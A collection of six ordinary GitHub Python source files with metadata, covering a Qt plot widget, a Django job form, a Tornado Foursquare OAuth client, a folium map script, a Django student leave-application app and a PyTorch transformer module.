{"seq_id": "24112459902", "text": "from math import sqrt, pow\n\nfrom matplotlib.backends.backend_qt5agg import (FigureCanvas)\nfrom matplotlib.backends.qt_compat import QtCore, QtWidgets\nfrom matplotlib.figure import Figure\n\n\nclass Plot(QtWidgets.QWidget):\n    def __init__(self, item_model, selection_model):\n        super().__init__()\n\n        self.item_model = item_model\n        self.item_model.dataChanged.connect(self.update_plot)\n        self.item_model.rowsInserted.connect(self.update_plot)\n        self.item_model.rowsRemoved.connect(self.update_plot)\n\n        self.selection_model = selection_model\n        self.selection_model.currentRowChanged.connect(self.update_plot)\n\n        self.canvas = FigureCanvas(Figure())\n        self.canvas.mpl_connect('button_press_event', self.add_or_show)\n\n        self.axes = self.canvas.figure.subplots()\n        self.axes.axis('equal')\n\n        self.update_plot()\n        self.axes.autoscale()\n\n        self.layout = QtWidgets.QVBoxLayout(self)\n        self.layout.addWidget(self.canvas)\n        self.setLayout(self.layout)\n\n    @QtCore.Slot()\n    def update_plot(self):\n        xlim, ylim = (self.axes.get_xlim(), self.axes.get_ylim())\n        self.axes.clear()\n        self.axes.autoscale(False)\n\n        data = self.item_model.get_data()\n        have_image = []\n        no_image = []\n        for point, image in data:\n            if image:\n                have_image.append(point)\n            else:\n                no_image.append(point)\n\n        if len(have_image) > 0:\n            x, y, _ = zip(*have_image)\n            self.axes.plot(x, y, 'o', markersize=5, color='#2ca02c')\n\n        if len(no_image) > 0:\n            x, y, _ = zip(*no_image)\n            self.axes.plot(x, y, 'o', markersize=5, color='#1f77b4')\n\n        current_index = self.selection_model.currentIndex()\n        if current_index.isValid() and current_index.row() < len(data):\n            x, y, _ = data[current_index.row()][0]\n            self.axes.plot([x], [y], 'o', markersize=10, fillstyle='none', markeredgewidth=2, color='#ff7f0e')\n\n        self.axes.set_xlim(xlim)\n        self.axes.set_ylim(ylim)\n        self.canvas.draw()\n\n    @QtCore.Slot()\n    def add_or_show(self, event):\n        if self.canvas.toolbar.mode != '' or event.button != 1:\n            return\n\n        click_x, click_y = (event.xdata, event.ydata)\n        if None in [click_x, click_y]:\n            return\n\n        scale = self.axes.get_xlim()[1] - self.axes.get_xlim()[0]\n        for idx, ((x, y, _), _) in enumerate(self.item_model.get_data()):\n            distance = sqrt(pow(x - click_x, 2) + pow(y - click_y, 2))\n            if distance < scale * 0.01:\n                self.selection_model.setCurrentIndex(\n                    self.item_model.createIndex(idx, 0),\n                    QtCore.QItemSelectionModel.Current,\n                )\n                return\n\n        # Add point by clicking on the plot\n        # self.item_model.append_point([round(click_x, 3), round(click_y, 3), 0])\n", "repo_name": "krystiancha/panoramagrid", "sub_path": "python/panoramagrid/gridcreator/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 2956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.backends.qt_compat.QtWidgets.QWidget", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.backends.qt_compat.QtWidgets", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt5agg.FigureCanvas", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.figure.Figure", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.backends.qt_compat.QtWidgets.QVBoxLayout", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.backends.qt_compat.QtWidgets", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.backends.qt_compat.QtCore.Slot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.backends.qt_compat.QtCore", "line_number": 33, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 76, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.backends.qt_compat.QtCore.QItemSelectionModel", "line_number": 80, "usage_type": "attribute"}, {"api_name": "matplotlib.backends.qt_compat.QtCore", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.backends.qt_compat.QtCore.Slot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.backends.qt_compat.QtCore", "line_number": 65, "usage_type": "name"}]}
{"seq_id": "26272408667", "text": "from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom jobs.models import Job\nfrom utils import MIN_EDUCATION_CHOICES, SALARY_CHOICES\n\n\nclass PublishForm(forms.ModelForm):\n    title = forms.CharField(\n        error_messages={\n            'required': _('Job title cannot be empty'),\n        },\n        required=True,\n        label=_('Job Title *'),\n    )\n    salary = forms.ChoiceField(\n        choices=SALARY_CHOICES,\n        required=True,\n        label=_('Salary *'),\n    )\n    minimum_education = forms.ChoiceField(\n        choices=MIN_EDUCATION_CHOICES,\n        required=True,\n        label=_('Minimum Education *'),\n    )\n    skill_requirements = forms.CharField(\n        error_messages={\n            'required': _('Skill requirements is required'),\n        },\n        required=True,\n        label=_('Skill Requirements *'),\n        widget=forms.Textarea,\n    )\n    is_finished = forms.BooleanField(\n        required=False,\n        label=_('Mark job post as finished'),\n    )\n\n    class Meta:\n        model = Job\n        fields = ['title', 'salary', 'skill_requirements',\n                  'minimum_education', 'hide_salary', 'is_finished']\n", "repo_name": "xbandrade/py-4djobz", "sub_path": "jobs/forms/publish_form.py", "file_name": "publish_form.py", "file_ext": "py", "file_size_in_byte": 1177, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.forms.ModelForm", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 8, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 9, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 11, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 14, "usage_type": "call"}, {"api_name": "django.forms.ChoiceField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 16, "usage_type": "name"}, {"api_name": "utils.SALARY_CHOICES", "line_number": 17, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms.ChoiceField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 21, "usage_type": "name"}, {"api_name": "utils.MIN_EDUCATION_CHOICES", "line_number": 22, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 24, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 26, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 28, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 31, "usage_type": "call"}, {"api_name": "django.forms.Textarea", "line_number": 32, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 32, "usage_type": "name"}, {"api_name": "django.forms.BooleanField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 34, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 36, "usage_type": "call"}, {"api_name": "jobs.models.Job", "line_number": 40, "usage_type": "name"}]}
{"seq_id": "22329108261", "text": "import logging\nimport urllib\n\nfrom tornado import httpclient\nfrom tornado import escape\nfrom tornado.httputil import url_concat\n\nclass FoursquareMixin(object):\n    \"\"\"Foursquare API using Oauth2\"\"\"\n\n    _OAUTH_ACCESS_TOKEN_URL = \"https://foursquare.com/oauth2/access_token\"\n    _OAUTH_AUTHORIZE_URL    = \"https://foursquare.com/oauth2/authorize\"\n    _OAUTH_AUTHENTICATE_URL = \"https://foursquare.com/oauth2/authenticate\"\n\n    _BASE_URL = \"https://api.foursquare.com/v2\"\n\n    @property\n    def httpclient_instance(self):\n        return httpclient.AsyncHTTPClient()\n\n\n    def authorize_redirect(self, redirect_uri=None, client_id=None, **kwargs):\n        \"\"\"Redirects the user to obtain OAuth authorization for this service.\n\n        Some providers require that you register a Callback\n        URL with your application. You should call this method to log the\n        user in, and then call get_authenticated_user() in the handler\n        you registered as your Callback URL to complete the authorization\n        process.\n        \"\"\"\n        args = {\n          \"redirect_uri\": redirect_uri,\n          \"client_id\": client_id,\n          \"response_type\": \"code\"\n        }\n        if kwargs: args.update(kwargs)\n        self.redirect(url_concat(self._OAUTH_AUTHENTICATE_URL, args))       # Why _OAUTH_AUTHORIZE_URL fails?\n\n\n    def get_authenticated_user(self, redirect_uri, client_id, client_secret, code, callback):\n        \"\"\"\n        Handles the login for the Foursquare user, returning a user object.\n\n        Example usage::\n\n          class FoursquareLoginHandler(LoginHandler, FoursquareMixin):\n              @tornado.web.asynchronous\n              def get(self):\n                  if self.get_argument(\"code\", False):\n                      self.get_authenticated_user(\n                          redirect_uri='/auth/foursquare/connect',\n                          client_id=self.settings[\"foursquare_client_id\"],\n                          client_secret=self.settings[\"foursquare_client_secret\"],\n                          code=self.get_argument(\"code\"),\n                          callback=self.async_callback(self._on_login)\n                      )\n                      return\n\n                  self.authorize_redirect(\n                      redirect_uri='/auth/foursquare/connect',\n                      client_id=self.settings[\"foursquare_api_key\"]\n                  )\n\n              def _on_login(self, user):\n                  logging.error(user)\n                  self.finish()\n        \"\"\"\n        args = {\n            \"redirect_uri\": redirect_uri,\n            \"code\": code,\n            \"client_id\": client_id,\n            \"client_secret\": client_secret,\n            \"grant_type\": \"authorization_code\"\n        }\n\n        self.httpclient_instance.fetch(\n            url_concat(self._OAUTH_ACCESS_TOKEN_URL, args),\n            self.async_callback(self._on_access_token, redirect_uri, client_id, client_secret, callback)\n        )\n\n\n    def _on_access_token(self, redirect_uri, client_id, client_secret, callback, response):\n        if response.error:\n            logging.warning('Foursquare auth error: %s' % str(response))\n            callback(None)\n            return\n\n        session = escape.json_decode(response.body)\n\n        self.foursquare_request(\n            path=\"/users/self\",\n            callback=self.async_callback(self._on_get_user_info, callback, session),\n            access_token=session[\"access_token\"]\n        )\n\n\n    def _on_get_user_info(self, callback, session, user):\n        if user is None:\n            callback(None)\n            return\n\n        user.update({\n            'first_name': user.get('firstName'),\n            'last_name': user.get('lastName'),\n            'home_city': user.get('homeCity'),\n            'access_token': session['access_token']\n        })\n        callback(user)\n\n\n    def foursquare_request(self, path, callback, access_token=None, post_args=None, **args):\n        \"\"\"\n        If the request is a POST, post_args should be provided. Query\n        string arguments should be given as keyword arguments.\n\n        See: https://developer.foursquare.com/docs/\n        \"\"\"\n        url = self.__class__._BASE_URL + path\n\n        all_args = {}\n        if access_token:\n            all_args[\"access_token\"] = access_token\n            all_args[\"oauth_token\"] = access_token\n            all_args.update(args)\n\n        if all_args: url += \"?\" + urllib.urlencode(all_args)\n\n        callback = self.async_callback(self._on_foursquare_request, callback)\n        if post_args is not None:\n            self.httpclient_instance.fetch(url, method=\"POST\", body=urllib.urlencode(post_args), callback=callback)\n        else:\n            self.httpclient_instance.fetch(url, callback=callback)\n\n\n    def _on_foursquare_request(self, callback, response):\n        response_body = escape.json_decode(response.body)\n        if response.error:\n            logging.warning(\n                \"Foursquare Error(%s) :: Detail: %s, Message: %s, URL: %s\",\n                response.error, response_body[\"meta\"][\"errorDetail\"], response_body[\"meta\"][\"errorMessage\"], response.request.url\n            )\n            callback(None)\n            return\n        callback(response_body)\n", "repo_name": "didip/tornado_api", "sub_path": "_foursquare.py", "file_name": "_foursquare.py", "file_ext": "py", "file_size_in_byte": 5202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tornado.httpclient.AsyncHTTPClient", "line_number": 19, "usage_type": "call"}, {"api_name": "tornado.httpclient", "line_number": 19, "usage_type": "name"}, {"api_name": "tornado.httputil.url_concat", "line_number": 37, "usage_type": "call"}, {"api_name": "tornado.httputil.url_concat", "line_number": 77, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 84, "usage_type": "call"}, {"api_name": "tornado.escape.json_decode", "line_number": 88, "usage_type": "call"}, {"api_name": "tornado.escape", "line_number": 88, "usage_type": "name"}, {"api_name": "urllib.urlencode", "line_number": 126, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 130, "usage_type": "call"}, {"api_name": "tornado.escape.json_decode", "line_number": 136, "usage_type": "call"}, {"api_name": "tornado.escape", "line_number": 136, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 138, "usage_type": "call"}]}
{"seq_id": "39996035556", "text": "import folium\nimport pandas as pd\n\ndf = pd.read_excel('C:/Users/student/Desktop/datas/datas/서울지역 대학교 위치.xlsx')\ndf.columns=['대학', '위도', '경도']\n\nprint(df)\n\nseoul_map = folium.Map(location=[37.55, 126.98], zoom_start=12)\n\nfor name, lat, lng in zip(df.index, df.위도, df.경도):\n    folium.Marker([lat, lng], popup = name).add_to(seoul_map)\n    \nseoul_map.save('C:/Users/student/Desktop/datas/datas/seoul_colleges.html')\n", "repo_name": "ssh6189/2019.12.19", "sub_path": "서울지역 대학교.py", "file_name": "서울지역 대학교.py", "file_ext": "py", "file_size_in_byte": 449, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_excel", "line_number": 4, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 9, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "27947404421", "text": "from django.db.models import Count\nfrom django.shortcuts import render\nfrom leaveformapp.models import Students\nfrom django.contrib import messages\nfrom datetime import datetime, timedelta\nimport pytz\n\n\n# Create your views here.\n\n\ndef form(request):\n    if request.method == 'POST':\n        # getting form values\n        name = request.POST['fullname']\n        crn = request.POST['number']\n        year = request.POST['year']\n        reason = request.POST['reason']\n        # time in db\n        tz_ktm = pytz.timezone('Asia/Kathmandu')\n        now = datetime.now(tz_ktm)\n        now = str(now).split(\" \")\n        date = now[0]\n        time = now[1].split(\".\")[0]\n\n        # message displaying and saving if form is correct\n        if len(name) < 2 or len(crn) != 6 or len(reason) < 2:\n            messages.error(request, \"Please fill the aplication correctly\")\n            return render(request, 'form.html')\n\n        else:\n            instance = Students(fullname=name, roll=crn,\n                                year=year, reason=reason, createdDate=date, createdTime=time)\n            instance.save()\n            messages.success(request, \"Your Application has been Submitted\")\n            return render(request, 'form.html')\n        return render(request, 'form.html')\n    else:\n        return render(request, 'form.html')\n\n\ndef listofapplicants(request):\n\n    # searching in db\n    if request.method == 'POST':\n        searched = request.POST['searched']\n\n        searched_data = Students.objects.filter(\n            roll=searched).order_by('-id')\n\n        return render(request, 'applicants.html', {'searched_data': searched_data})\n        # if not searching\n    else:\n        tz_ktm = pytz.timezone('Asia/Kathmandu')\n        now = datetime.now(tz_ktm)\n        # grouping by dates today ,yesterday, ani tyo paxi date chai sabai eutai ma\n        # dates\n        today = str(now).split(\" \")[0]\n        yesterday = str(now-timedelta(days=1)).split(\" \")[0]\n        remainingdays = str(now-timedelta(days=2)).split(\" \")[0]\n        # ---\n        todaydata = Students.objects.all().filter(\n            createdDate=today).order_by('-id')\n\n        yesterdaydata = Students.objects.all().filter(\n            createdDate=yesterday).order_by('-id')\n\n        remainingdata = Students.objects.all().order_by('-id')\n\n        context = {\n            'today': todaydata,\n            'yesterday': yesterdaydata,\n            'remainings': remainingdata\n        }\n        return render(request, 'applicants.html', context)\n        # return render(request, 'applicants.html', {'list_of_object': Alldatas})\n\n\ndef dataRetriveByYear(request, year, template):\n    if request.method == 'POST':\n        searched = request.POST['searched']\n\n        searched_data = Students.objects.filter(\n            roll=searched, year=year).order_by('-id')\n\n        context = {\n            'searched_data': searched_data,\n            \n        }\n        return context\n    else:\n        tz_ktm = pytz.timezone('Asia/Kathmandu')\n        now = datetime.now(tz_ktm)\n        # grouping by dates today ,yesterday, ani tyo paxi date chai sabai eutai ma\n        # dates\n        today = str(now).split(\" \")[0]\n        yesterday = str(now-timedelta(days=1)).split(\" \")[0]\n        remainingdays = str(now-timedelta(days=2)).split(\" \")[0]\n        # ---\n        todaydata = Students.objects.all().filter(\n            createdDate=today, year=year).order_by('-id')\n\n        yesterdaydata = Students.objects.all().filter(\n            createdDate=yesterday, year=year).order_by('-id')\n\n        remainingdata = Students.objects.all().filter(year=year).order_by('-id')\n\n        \n        context = {\n            'today': todaydata,\n            'yesterday': yesterdaydata,\n            'remainings': remainingdata,\n            \n        }\n        return context\n\n\ndef first_year(request):\n    data = dataRetriveByYear(request, 'First', 'firstyear.html')\n    return render(request, 'firstyear.html', data)\n\n\n\ndef second_year(request):\n    data = dataRetriveByYear(request, 'Second', 'secondyear.html')\n    return render(request, 'secondyear.html', data)\n\ndef third_year(request):\n    data = dataRetriveByYear(request, 'Third', 'thirdyear.html')\n    return render(request, 'thirdyear.html', data)\n\n\n\ndef fourth_year(request):\n    data = dataRetriveByYear(request, 'Fourth', 'fourthyear.html')\n    return render(request, 'fourthyear.html', data)\n\n\n\n\n\n\n\n\n\n\n\n#############\n\n#future purpose\n\n\n# def second_year(request):\n#     if request.method == 'POST':\n#         searched = request.POST['searched']\n\n#         searched_data = Students.objects.filter(\n#             roll=searched, year='Second').order_by('-id')\n\n#         return render(request, 'secondyear.html', {'searched_data': searched_data})\n#     else:\n#         tz_ktm = pytz.timezone('Asia/Kathmandu')\n#         now = datetime.now(tz_ktm)\n#         # grouping by dates today ,yesterday, ani tyo paxi date chai sabai eutai ma\n#         # dates\n#         today = str(now).split(\" \")[0]\n#         yesterday = str(now-timedelta(days=1)).split(\" \")[0]\n#         remainingdays = str(now-timedelta(days=2)).split(\" \")[0]\n#         # ---\n#         todaydata = Students.objects.all().filter(\n#             createdDate=today, year='Second').order_by('-id')\n\n#         yesterdaydata = Students.objects.all().filter(\n#             createdDate=yesterday, year='Second').order_by('-id')\n\n#         remainingdata = Students.objects.all().filter(year='Second').order_by('-id')\n\n#         context = {\n#             'today': todaydata,\n#             'yesterday': yesterdaydata,\n#             'remainings': remainingdata,\n#             'year': 'II'\n#         }\n#         return render(request, 'secondyear.html', context)\n\n\n\n\n#################", "repo_name": "rabibasukala01/Application-of-Leave", "sub_path": "leaveformapp/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytz.timezone", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 28, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 29, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 35, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 37, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 39, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 51, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 60, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects.all", "line_number": 62, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 62, "usage_type": "name"}, {"api_name": "leaveformapp.models.Students.objects.all", "line_number": 65, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 65, "usage_type": "name"}, {"api_name": "leaveformapp.models.Students.objects.all", "line_number": 68, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 68, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 75, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects.filter", "line_number": 83, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 83, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 93, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 97, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 98, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects.all", "line_number": 100, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 100, "usage_type": "name"}, {"api_name": "leaveformapp.models.Students.objects.all", "line_number": 103, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 103, "usage_type": "name"}, {"api_name": "leaveformapp.models.Students.objects.all", "line_number": 106, "usage_type": "call"}, {"api_name": "leaveformapp.models.Students.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "leaveformapp.models.Students", "line_number": 106, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 120, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 126, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 130, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 136, "usage_type": "call"}]}
{"seq_id": "16819503973", "text": "# modified from: https://github.com/lucidrains/vit-pytorch\n\nimport torch\nfrom torch import nn, einsum\nimport torch.nn.functional as F\n\nfrom einops import rearrange, repeat\nfrom einops.layers.torch import Rearrange\n\n\nclass PreNorm(nn.Module):\n    def __init__(self, dim, fn):\n        super().__init__()\n        self.norm = nn.LayerNorm(dim)\n        self.fn = fn\n\n    def forward(self, x, **kwargs):\n        return self.fn(self.norm(x), **kwargs)\n\n\nclass FeedForward(nn.Module):\n    def __init__(self, dim, hidden_dim, dropout=0.):\n        super().__init__()\n        self.net = nn.Sequential(\n            nn.Linear(dim, hidden_dim),\n            nn.GELU(),\n            nn.Dropout(dropout),\n            nn.Linear(hidden_dim, dim),\n            nn.Dropout(dropout)\n        )\n\n    def forward(self, x):\n        return self.net(x)\n\n\nclass Attention(nn.Module):\n    def __init__(self, dim, heads=8, dim_head=64, dropout=0.):\n        super().__init__()\n        inner_dim = dim_head * heads\n        project_out = not (heads == 1 and dim_head == dim)\n\n        self.heads = heads\n        self.scale = dim_head ** -0.5\n\n        self.attend = nn.Softmax(dim=-1)\n        self.to_qkv = nn.Linear(dim, inner_dim * 3, bias=False)\n\n        self.to_out = nn.Sequential(\n            nn.Linear(inner_dim, dim),\n            nn.Dropout(dropout)\n        ) if project_out else nn.Identity()\n\n    def forward(self, x):\n        b, n, _, h = *x.shape, self.heads\n        qkv = self.to_qkv(x).chunk(3, dim=-1)\n        q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h=h), qkv)\n\n        dots = einsum('b h i d, b h j d -> b h i j', q, k) * self.scale\n\n        attn = self.attend(dots)\n\n        out = einsum('b h i j, b h j d -> b h i d', attn, v)\n        out = rearrange(out, 'b h n d -> b n (h d)')\n        return self.to_out(out)\n\n\nclass Transformer(nn.Module):\n    def __init__(self, dim, depth, heads, dim_head, mlp_dim, dropout=0.):\n        super().__init__()\n        self.layers = nn.ModuleList([])\n        for _ in range(depth):\n            self.layers.append(nn.ModuleList([\n                PreNorm(dim, Attention(dim, heads=heads, dim_head=dim_head, dropout=dropout)),\n                PreNorm(dim, FeedForward(dim, mlp_dim, dropout=dropout))\n            ]))\n\n    def forward(self, x):\n        for attn, ff in self.layers:\n            x = attn(x) + x\n            x = ff(x) + x\n        return x\n\n\nclass WeightTransformer(nn.Module):\n    def __init__(self, num_classes, dim, depth, heads, mlp_dim, dim_head=64, dropout=0., emb_dropout=0.):\n        super().__init__()\n\n        self.pos_embedding = nn.Linear(2, dim)\n        self.dropout = nn.Dropout(emb_dropout)\n\n        self.transformer = Transformer(dim, depth, heads, dim_head, mlp_dim, dropout)\n\n        self.mlp_head = nn.Sequential(\n            nn.LayerNorm(dim),\n            nn.Linear(dim, num_classes)\n        )\n\n        self.out = nn.Softmax(dim=1)\n\n    def forward(self, z, q):\n        # z: local feature vector       [N*Q, 4, D]\n        # q: local relative coordinate  [N*Q, 4, 2]\n        b, n, _ = z.shape\n\n        # Local position embedding\n        z += self.pos_embedding(q)          # [N*Q, 4, D]\n        z = self.dropout(z)\n\n        # Attention module via Transformer\n        z = self.transformer(z)             # [N*Q, 4, D]\n\n        # Weight estimation\n        z = self.mlp_head(z)                # [N*Q, 4, 1]\n        z = self.out(z)\n\n        return z\n", "repo_name": "PinocchioYS/iln", "sub_path": "python_src/models/iln/tf_weight.py", "file_name": "tf_weight.py", "file_ext": "py", "file_size_in_byte": 3408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.GELU", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "einops.rearrange", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 62, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 89, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}]}
